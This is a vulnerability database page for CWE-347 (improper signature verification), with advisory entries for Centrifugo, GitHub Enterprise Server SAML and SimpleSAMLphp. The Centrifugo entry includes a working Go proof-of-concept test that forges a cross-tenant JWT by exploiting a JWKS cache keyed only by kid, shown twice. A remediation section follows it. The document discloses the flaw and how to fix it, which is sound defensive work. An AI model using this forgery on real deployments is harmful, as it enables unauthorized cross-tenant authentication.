Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1127 vulnerabilities reference this CWE, most recent first.

GHSA-G6VG-WJ8F-48CJ

Vulnerability from github – Published: 2026-07-01 20:28 – Updated: 2026-07-01 20:28
VLAI
Summary
Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass
Details

Summary

Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and singleflight lookup are keyed only by the JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.

In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same kid value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.

Details

The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT iss or aud claims:

  • client.token.jwks_public_endpoint
  • client.subscription_token.jwks_public_endpoint

Relevant shipped config fields are defined in internal/configtypes/types.go:59-65, mapped into verifier configuration in internal/confighelpers/jwt.go:36-41, and exposed in the generated config schema at internal/cli/configdoc/schema.json:3927, 3947, 3967, 3987, 4069, 4089, 4109, and 4129. Dynamic JWKS endpoints based on iss and aud are documented in the project changelog at CHANGELOG.md:107.

External clients control JWT connection and subscription tokens:

  • Connection tokens reach VerifyConnectToken from internal/client/handler.go:350-352.
  • Normal subscription tokens reach VerifySubscribeToken from internal/client/handler.go:769-775.
  • Subscription refresh tokens reach VerifySubscribeToken from internal/client/handler.go:628-632.

The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:

  • VerifyConnectToken parses without verification at internal/jwtverify/token_verifier_jwt.go:528-535, extracts template variables before signature verification at internal/jwtverify/token_verifier_jwt.go:539-548, then validates claims only after signature verification at internal/jwtverify/token_verifier_jwt.go:557-560.
  • VerifySubscribeToken follows the same pattern at internal/jwtverify/token_verifier_jwt.go:700-732.

The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. internal/jwtverify/token_verifier_jwt.go:242-245 passes only the JWT header kid plus token-derived variables to the JWKS manager:

func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {
    kid := token.Header().KeyID

    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)

internal/jwks/manager.go:96-117 checks cache and singleflight using only kid:

func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    if kid == "" {
        return nil, ErrKeyIDNotProvided
    }

    if m.useCache {
        key, err := m.cache.Get(kid)
        if err == nil {
            return key, nil
        }
    }

    v, err, _ := m.group.Do(kid, func() (any, error) {
        return m.fetchKey(ctx, kid, tokenVars)
    })

The resolved JWKS URL is computed only later in internal/jwks/manager.go:133-149:

func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    jwkURL := m.url.ExecuteString(tokenVars)
    ...
    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)

The TTL cache also stores and retrieves keys only by kid at internal/jwks/cache_ttl.go:82-101:

func (tc *TTLCache) Add(key *JWK) error {
    ...
    tc.items[key.Kid] = item
}

func (tc *TTLCache) Get(kid string) (*JWK, error) {
    ...
    item, ok := tc.items[kid]

As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted.

I also reviewed the template safety mitigation in internal/jwtverify/validate.go:99-154. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: ^(?P<tenant>tenant-a|tenant-b)$.

PoC

This is a safe local-only unit test using httptest.Server and generated RSA key pairs. It does not contact external systems.

From a clean checkout of centrifugal/centrifugo at commit 458ee0500f046877d7e8375e32f5e842bc95535b, add this file as internal/jwtverify/jwks_cache_poc_test.go:

package jwtverify

import (
    "crypto/rsa"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "sync/atomic"
    "testing"
    "time"

    "github.com/centrifugal/centrifugo/v6/internal/config"

    "github.com/cristalhq/jwt/v5"
    "github.com/stretchr/testify/require"
)

func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {
    t.Helper()
    resp := map[string]any{
        "keys": []map[string]string{
            {
                "alg": "RS256",
                "kty": "RSA",
                "use": "sig",
                "kid": kid,
                "n":   encodeToString(pubKey.N.Bytes()),
                "e":   encodeUint64ToString(uint64(pubKey.E)),
            },
        },
    }
    w.Header().Set("Content-Type", "application/json")
    require.NoError(t, json.NewEncoder(w).Encode(resp))
}

func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {
    t.Helper()
    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)
    require.NoError(t, err)
    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))
    claims := &ConnectTokenClaims{
        Base64Info: "e30=",
        RegisteredClaims: jwt.RegisteredClaims{
            Subject:   user,
            Issuer:    issuer,
            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
        },
    }
    token, err := builder.Build(claims)
    require.NoError(t, err)
    return token.String()
}

func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {
    const kid = "shared-kid"

    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)
    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)

    var tenantARequests int32
    var tenantBRequests int32

    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        switch r.URL.Path {
        case "/tenant-a/jwks.json":
            atomic.AddInt32(&tenantARequests, 1)
            writeRSAJWKS(t, w, tenantAPublicKey, kid)
        case "/tenant-b/jwks.json":
            atomic.AddInt32(&tenantBRequests, 1)
            writeRSAJWKS(t, w, tenantBPublicKey, kid)
        default:
            http.NotFound(w, r)
        }
    }))
    defer ts.Close()

    cfg := config.DefaultConfig()
    cfgContainer, err := config.NewContainer(cfg)
    require.NoError(t, err)

    newVerifier := func() *VerifierJWT {
        verifier, err := NewTokenVerifierJWT(VerifierConfig{
            JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json",
            IssuerRegex:        `^(?P<tenant>tenant-a|tenant-b)$`,
        }, cfgContainer)
        require.NoError(t, err)
        return verifier
    }

    legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid)
    legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid)
    forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid)

    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-b-user", ct.UserID)

    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)
    require.Error(t, err)

    verifier := newVerifier()
    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-a-user", ct.UserID)

    tenantBRequestsBeforeForge := atomic.LoadInt32(&tenantBRequests)
    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "victim", ct.UserID)
    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(&tenantBRequests))
}

Run the focused test with the project-supported Go toolchain:

go test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v

Observed vulnerable output in my local test environment using Go 1.26.3:

=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)
PASS
ok      github.com/centrifugal/centrifugo/v6/internal/jwtverify 0.088s

The passing test demonstrates the vulnerable behavior because it asserts these controls:

  1. A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.
  2. A forged tenant-B token signed by tenant A fails with a fresh verifier.
  3. A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A's shared-kid key.
  4. The forged tenant-B token signed by tenant A then succeeds with user ID victim.
  5. The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B's JWKS endpoint.

Expected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B's independent JWKS cache namespace before verification.

Impact

This is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.

Impacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using {{tenant}} values extracted from iss or aud.

An attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same kid value and the attacker's issuer key is cached first. kid values are not globally unique by specification and are often operational labels such as current, default, or rotation identifiers, so the verifier should not rely on kid uniqueness across different JWKS trust domains.

Potential consequences include:

  • Authentication as a user in another issuer/tenant namespace.
  • Unauthorized connection-token acceptance.
  • Unauthorized subscription-token acceptance where separate subscription JWTs are configured.
  • Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.

Suggested remediation

Scope JWKS cache entries and singleflight keys to the resolved JWKS trust domain, not only to the JWT kid.

For dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:

resolved_jwks_url + "\x00" + kid

or an equivalent canonical trust-domain identifier plus kid.

The same composite namespace should be used for:

  • TTL cache lookup.
  • TTL cache storage.
  • singleflight.Group.Do keys.

A regression test should prime tenant A's cache and then verify that a forged tenant-B token signed by tenant A remains rejected.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.8.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:28:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "#### Summary\n\nCentrifugo\u0027s dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and `singleflight` lookup are keyed only by the JWT header `kid`, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.\n\nIn a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same `kid` value and tenant A\u0027s key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.\n\n#### Details\n\nThe vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT `iss` or `aud` claims:\n\n- `client.token.jwks_public_endpoint`\n- `client.subscription_token.jwks_public_endpoint`\n\nRelevant shipped config fields are defined in `internal/configtypes/types.go:59-65`, mapped into verifier configuration in `internal/confighelpers/jwt.go:36-41`, and exposed in the generated config schema at `internal/cli/configdoc/schema.json:3927`, `3947`, `3967`, `3987`, `4069`, `4089`, `4109`, and `4129`. Dynamic JWKS endpoints based on `iss` and `aud` are documented in the project changelog at `CHANGELOG.md:107`.\n\nExternal clients control JWT connection and subscription tokens:\n\n- Connection tokens reach `VerifyConnectToken` from `internal/client/handler.go:350-352`.\n- Normal subscription tokens reach `VerifySubscribeToken` from `internal/client/handler.go:769-775`.\n- Subscription refresh tokens reach `VerifySubscribeToken` from `internal/client/handler.go:628-632`.\n\nThe verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:\n\n- `VerifyConnectToken` parses without verification at `internal/jwtverify/token_verifier_jwt.go:528-535`, extracts template variables before signature verification at `internal/jwtverify/token_verifier_jwt.go:539-548`, then validates claims only after signature verification at `internal/jwtverify/token_verifier_jwt.go:557-560`.\n- `VerifySubscribeToken` follows the same pattern at `internal/jwtverify/token_verifier_jwt.go:700-732`.\n\nThe problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. `internal/jwtverify/token_verifier_jwt.go:242-245` passes only the JWT header `kid` plus token-derived variables to the JWKS manager:\n\n```go\nfunc (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {\n    kid := token.Header().KeyID\n\n    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)\n```\n\n`internal/jwks/manager.go:96-117` checks cache and `singleflight` using only `kid`:\n\n```go\nfunc (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    if kid == \"\" {\n        return nil, ErrKeyIDNotProvided\n    }\n\n    if m.useCache {\n        key, err := m.cache.Get(kid)\n        if err == nil {\n            return key, nil\n        }\n    }\n\n    v, err, _ := m.group.Do(kid, func() (any, error) {\n        return m.fetchKey(ctx, kid, tokenVars)\n    })\n```\n\nThe resolved JWKS URL is computed only later in `internal/jwks/manager.go:133-149`:\n\n```go\nfunc (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    jwkURL := m.url.ExecuteString(tokenVars)\n    ...\n    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)\n```\n\nThe TTL cache also stores and retrieves keys only by `kid` at `internal/jwks/cache_ttl.go:82-101`:\n\n```go\nfunc (tc *TTLCache) Add(key *JWK) error {\n    ...\n    tc.items[key.Kid] = item\n}\n\nfunc (tc *TTLCache) Get(kid string) (*JWK, error) {\n    ...\n    item, ok := tc.items[kid]\n```\n\nAs a result, a key fetched from tenant A\u0027s JWKS endpoint can be reused to verify a token claiming tenant B before tenant B\u0027s JWKS endpoint is consulted.\n\nI also reviewed the template safety mitigation in `internal/jwtverify/validate.go:99-154`. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: `^(?P\u003ctenant\u003etenant-a|tenant-b)$`.\n\n#### PoC\n\nThis is a safe local-only unit test using `httptest.Server` and generated RSA key pairs. It does not contact external systems.\n\nFrom a clean checkout of `centrifugal/centrifugo` at commit `458ee0500f046877d7e8375e32f5e842bc95535b`, add this file as `internal/jwtverify/jwks_cache_poc_test.go`:\n\n```go\npackage jwtverify\n\nimport (\n    \"crypto/rsa\"\n    \"encoding/json\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"sync/atomic\"\n    \"testing\"\n    \"time\"\n\n    \"github.com/centrifugal/centrifugo/v6/internal/config\"\n\n    \"github.com/cristalhq/jwt/v5\"\n    \"github.com/stretchr/testify/require\"\n)\n\nfunc writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {\n    t.Helper()\n    resp := map[string]any{\n        \"keys\": []map[string]string{\n            {\n                \"alg\": \"RS256\",\n                \"kty\": \"RSA\",\n                \"use\": \"sig\",\n                \"kid\": kid,\n                \"n\":   encodeToString(pubKey.N.Bytes()),\n                \"e\":   encodeUint64ToString(uint64(pubKey.E)),\n            },\n        },\n    }\n    w.Header().Set(\"Content-Type\", \"application/json\")\n    require.NoError(t, json.NewEncoder(w).Encode(resp))\n}\n\nfunc getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {\n    t.Helper()\n    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)\n    require.NoError(t, err)\n    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))\n    claims := \u0026ConnectTokenClaims{\n        Base64Info: \"e30=\",\n        RegisteredClaims: jwt.RegisteredClaims{\n            Subject:   user,\n            Issuer:    issuer,\n            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),\n        },\n    }\n    token, err := builder.Build(claims)\n    require.NoError(t, err)\n    return token.String()\n}\n\nfunc TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {\n    const kid = \"shared-kid\"\n\n    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)\n    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)\n\n    var tenantARequests int32\n    var tenantBRequests int32\n\n    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        switch r.URL.Path {\n        case \"/tenant-a/jwks.json\":\n            atomic.AddInt32(\u0026tenantARequests, 1)\n            writeRSAJWKS(t, w, tenantAPublicKey, kid)\n        case \"/tenant-b/jwks.json\":\n            atomic.AddInt32(\u0026tenantBRequests, 1)\n            writeRSAJWKS(t, w, tenantBPublicKey, kid)\n        default:\n            http.NotFound(w, r)\n        }\n    }))\n    defer ts.Close()\n\n    cfg := config.DefaultConfig()\n    cfgContainer, err := config.NewContainer(cfg)\n    require.NoError(t, err)\n\n    newVerifier := func() *VerifierJWT {\n        verifier, err := NewTokenVerifierJWT(VerifierConfig{\n            JWKSPublicEndpoint: ts.URL + \"/{{tenant}}/jwks.json\",\n            IssuerRegex:        `^(?P\u003ctenant\u003etenant-a|tenant-b)$`,\n        }, cfgContainer)\n        require.NoError(t, err)\n        return verifier\n    }\n\n    legitimateTenantAToken := getRSAIssuerConnToken(t, \"tenant-a-user\", \"tenant-a\", tenantAPrivateKey, kid)\n    legitimateTenantBToken := getRSAIssuerConnToken(t, \"tenant-b-user\", \"tenant-b\", tenantBPrivateKey, kid)\n    forgedTenantBToken := getRSAIssuerConnToken(t, \"victim\", \"tenant-b\", tenantAPrivateKey, kid)\n\n    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-b-user\", ct.UserID)\n\n    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)\n    require.Error(t, err)\n\n    verifier := newVerifier()\n    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-a-user\", ct.UserID)\n\n    tenantBRequestsBeforeForge := atomic.LoadInt32(\u0026tenantBRequests)\n    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"victim\", ct.UserID)\n    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(\u0026tenantBRequests))\n}\n```\n\nRun the focused test with the project-supported Go toolchain:\n\n```bash\ngo test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v\n```\n\nObserved vulnerable output in my local test environment using Go 1.26.3:\n\n```text\n=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)\nPASS\nok  \tgithub.com/centrifugal/centrifugo/v6/internal/jwtverify\t0.088s\n```\n\nThe passing test demonstrates the vulnerable behavior because it asserts these controls:\n\n1. A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.\n2. A forged tenant-B token signed by tenant A fails with a fresh verifier.\n3. A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A\u0027s `shared-kid` key.\n4. The forged tenant-B token signed by tenant A then succeeds with user ID `victim`.\n5. The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B\u0027s JWKS endpoint.\n\nExpected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B\u0027s independent JWKS cache namespace before verification.\n\n#### Impact\n\nThis is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.\n\nImpacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using `{{tenant}}` values extracted from `iss` or `aud`.\n\nAn attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same `kid` value and the attacker\u0027s issuer key is cached first. `kid` values are not globally unique by specification and are often operational labels such as `current`, `default`, or rotation identifiers, so the verifier should not rely on `kid` uniqueness across different JWKS trust domains.\n\nPotential consequences include:\n\n- Authentication as a user in another issuer/tenant namespace.\n- Unauthorized connection-token acceptance.\n- Unauthorized subscription-token acceptance where separate subscription JWTs are configured.\n- Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.\n\n#### Suggested remediation\n\nScope JWKS cache entries and `singleflight` keys to the resolved JWKS trust domain, not only to the JWT `kid`.\n\nFor dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:\n\n```text\nresolved_jwks_url + \"\\x00\" + kid\n```\n\nor an equivalent canonical trust-domain identifier plus `kid`.\n\nThe same composite namespace should be used for:\n\n- TTL cache lookup.\n- TTL cache storage.\n- `singleflight.Group.Do` keys.\n\nA regression test should prime tenant A\u0027s cache and then verify that a forged tenant-B token signed by tenant A remains rejected.",
  "id": "GHSA-g6vg-wj8f-48cj",
  "modified": "2026-07-01T20:28:52Z",
  "published": "2026-07-01T20:28:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-g6vg-wj8f-48cj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/centrifugal/centrifugo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Centrifugo\u0027s dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass"
}

GHSA-G83H-4727-5RPV

Vulnerability from github – Published: 2024-10-11 00:31 – Updated: 2024-11-15 18:30
VLAI
Details

An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.5 (Critical)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/R:U/V:C/RE:M/U:Red
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-9487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-10T22:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-g83h-4727-5rpv",
  "modified": "2024-11-15T18:30:47Z",
  "published": "2024-10-11T00:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9487"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.16"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.10"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.13/admin/release-notes#3.13.5"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:C/RE:M/U:Red",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G888-G2PP-82HF

Vulnerability from github – Published: 2022-05-14 03:34 – Updated: 2023-07-25 20:55
VLAI
Summary
SimpleSAMLphp saml2 incorrect signature validation
Details

HTTPRedirect.php in the saml2 library in SimpleSAMLphp before 1.15.4 has an incorrect check of return values in the signature validation utilities, allowing an attacker to get invalid signatures accepted as valid by forcing an error during validation. This occurs because of a dependency on PHP functionality that interprets a -1 error code as a true boolean value.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "simplesamlphp/saml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "simplesamlphp/saml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0"
            },
            {
              "fixed": "2.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "simplesamlphp/saml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-7711"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-25T20:55:06Z",
    "nvd_published_at": "2018-03-05T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "HTTPRedirect.php in the saml2 library in SimpleSAMLphp before 1.15.4 has an incorrect check of return values in the signature validation utilities, allowing an attacker to get invalid signatures accepted as valid by forcing an error during validation. This occurs because of a dependency on PHP functionality that interprets a -1 error code as a true boolean value.",
  "id": "GHSA-g888-g2pp-82hf",
  "modified": "2023-07-25T20:55:06Z",
  "published": "2022-05-14T03:34:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7711"
    },
    {
      "type": "WEB",
      "url": "https://github.com/simplesamlphp/saml2/commit/4f6af7f69f29df8555a18b9bb7b646906b45924d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/simplesamlphp/saml2/CVE-2018-7711.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/03/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://simplesamlphp.org/security/201803-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
